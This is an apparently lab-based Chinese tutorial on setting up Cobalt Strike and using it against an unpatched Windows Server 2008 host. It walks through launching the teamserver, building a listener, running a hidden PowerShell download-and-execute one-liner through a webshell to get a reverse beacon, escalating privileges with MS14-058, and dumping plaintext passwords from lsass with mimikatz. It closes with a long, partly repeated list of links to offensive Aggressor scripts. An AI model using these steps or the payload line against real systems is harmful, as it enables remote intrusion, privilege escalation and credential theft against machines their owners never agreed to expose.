windwos搭建cs并利用

渗透同一局域网时,如何快速搭建 cobaltstrike 并利用

并非实战,只是讲解一下操作思路。

实验环境:攻击机:win10 ip:192.168.88.207

靶机:2008   ip:192.168.88.250(无杀软,新系统,未打补丁)

并且已经取得 2008 的 webshell

准备材料:Win10 物理机vm

虚拟机(安装 windows server 2008)

Jdk1.8

cobaltstrike 3.14(我一般简称 cs)

下载jdk,理论上任意版本都可以,看自己喜好。

我提供一个 1.8 的下载地址:http://www.onlinedown.net/soft/61003.htm

cs 自行下载

安装好 jdk 之后 java 目录里面有两个文件夹,一个 jdk,一个 jre。

当你以为安装好了,运行一下结果报错了。。。

命令:teamserver 192.168.88.207 orange

解释:就是运行 cobaltstrike 3.14 目录里面的 teamserver.bat 文件 加上自己的 ip 地址 后面orange 是连接密码,这条命令就是启动 teamserver 服务。

这条命令,就是启动这个 teamserver.bat.

这里有个坑 运行就报错,我们需要把 C:\Program Files (x86)\Java\jdk1.8.0_73\jre\bin 里面的server 文件夹,复制一份 到 C:\Program Files (x86)\Java\jre1.8.0_73\bin 里面

然后在运行

这里就是运行成功了。(最小化这个 cmd 框框就行,让他保持在后台运行)

默认端口 50050

可以在 teamserver.bat 里面修改。

我们再打开 cobaltstrike.bat,这个 bat 文件就是客户端。

运行成功后,会打开一个 cmd,和一个 java 的 gui 界面。(最小化 cmd 界面就行,关闭的话Java 的 gui 会同时退出。)

主机我们刚才启动服务器的 IP,192.168.88.207

默认端口 50050

用户名 任意

密码 orange (就是我们刚刚启动服务端 后面自己填的密码)

连接成功后就是这个界面

接下来 我们创建监听端口,就是反弹 shell 监听的端口。

最后点击保存。

创建好之后我们再来创建一条 cmd 命令用来反弹 shell。

由于目标机是 2008 系统,支持 powershell,我们可以创建个 powershell 命令。

点上面那个看起来很可爱的 cmd 小图标,我们配置一下 木马的下载端口

然后点击开始

我们复制里面的内容。命令解释:就是通过 powershell 命令,下载并运行我们的木马。

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(:8881/a))"

复制到菜刀里面运行。执行完毕之后,我们可以看到 cs 里面上线了一台主机。

可以看到,当前权限比较低。

查看系统,没有打补丁

可以尝试利用 cs 的自带的 ms14-058 模块提权,选中这个会话,右键选中提权。

Ms14-058 就可以了,点击开始后,稍等几十秒。

我们可以看到,一个 system 权限的会话反弹回来了。

由于 shell 默认是 60 秒返回一次数据,太久,我们可以设置 sleep 为 5 秒。这样设置之后执行命令就快了,方便操作。不然的话 每次执行命令都要间隔 60 秒,这谁能忍?

选中需要设置的会话,右击进入 beacon。输入 sleep 5 就差不多了。

然后,我们 run 咪咪卡兔子就可以得到以明文显示的管理员账号密码了。。

这里补充一个知识点:

读取密码明文密码的原理大概就是:

Windows 系统,在用户登录之后,用户的账号密码会以某种加密形式保留在 lsass.exe 这个进程的内存中,而这个加密算法是可逆的 能被解密出明文。mimikatz 就是读取进程内存获取密码的。

这个进程是 system 系统权限运行的,所以我们如果想要读取 lsass.exe 的内存,就需要以管理员权限或者 system 权限来运行 mimikatz 才能读取到密码。

这 cs 跟远控原理差不多,但远远比远控的功能强大!远控有的功能 cs 都有。例如:端口转发,socks 代理,截屏,文件管理,键盘记录,执行命令,。

远控没有功能的 cs 也有,例如:提权,扫描目标内网, 又或者像 burp 那样,可以自己添加插件,牛批的话可以自己写插件,扩展性极强。行了吹不下去了。

上面的也简单,基础用法。

篇幅原因就到这里,写太多了 你们也懒得看。

更多相关 cs 的姿势请自行百度,不懂的问题扔群里来问我,我要是回答不出,作者一辈子单身狗!!

最后送上一份大礼 cs 各种功能插下载地址。

https://github.com/harleyQu1nn/AggressorScripts

https://github.com/bluscreenofjeff/AggressorScripts

https://github.com/michalkoczwara/aggressor_scripts_collection

https://github.com/vysecurity/Aggressor-VYSEC

https://github.com/killswitch-GUI/CobaltStrike-ToolKit

https://github.com/ramen0x3f/AggressorScripts

https://github.com/FortyNorthSecurity/AggressorAssessor

https://github.com/threatexpress/persistence-aggressor-script

https://github.com/threatexpress/aggressor-scripts

https://github.com/branthale/CobaltStrikeCNA

https://github.com/gaudard/scripts/tree/master/red-team/aggressor

https://github.com/001SPARTaN/aggressor_scripts

https://github.com/Und3rf10w/Aggressor-scripts

https://github.com/rasta-mouse/Aggressor-Script

https://github.com/vysec/Aggressor-VYSEC

https://github.com/threatexpress/aggressor-scripts

https://github.com/threatexpress/red-team-scripts

https://github.com/rsmudge/ElevateKit

https://github.com/vysec/CVE-2018-4878

https://github.com/harleyQu1nn/AggressorScripts

https://github.com/bluscreenofjeff/AggressorScripts

https://github.com/360-A-Team/CobaltStrike-Toolset

https://github.com/ars3n11/Aggressor-Scripts

https://github.com/michalkoczwara/aggressor_scripts_collection

https://github.com/killswitch-GUI/CobaltStrike-ToolKit

https://github.com/ZonkSec/persistence-aggressor-script

https://github.com/rasta-mouse/Aggressor-Script

https://github.com/RhinoSecurityLabs/Aggressor-Scripts

https://github.com/Kevin-Robertson/Inveigh

https://github.com/Genetic-Malware/Ebowla

https://github.com/001SPARTaN/aggressor_scripts

https://github.com/gaudard/scripts/tree/master/red-team/aggressor

https://github.com/branthale/CobaltStrikeCNA

https://github.com/oldb00t/AggressorScripts

https://github.com/p292/Phant0m_cobaltstrike

https://github.com/p292/DDEAutoCS

https://github.com/secgroundzero/CS-Aggressor-Scripts

https://github.com/skyleronken/Aggressor-Scripts

https://github.com/tevora-threat/aggressor-powerview

https://github.com/tevora-threat/PowerView3-Aggressor

https://github.com/threatexpress/persistence-aggressor-script

https://github.com/FortyNorthSecurity/AggressorAssessor

https://github.com/mdsecactivebreach/CACTUSTORCH

https://github.com/C0axx/AggressorScripts

https://github.com/offsecginger/AggressorScripts

https://github.com/tomsteele/cs-magik

https://github.com/bitsadmin/nopowershell

https://github.com/SpiderLabs/SharpCompile

https://github.com/realoriginal/reflectivepotato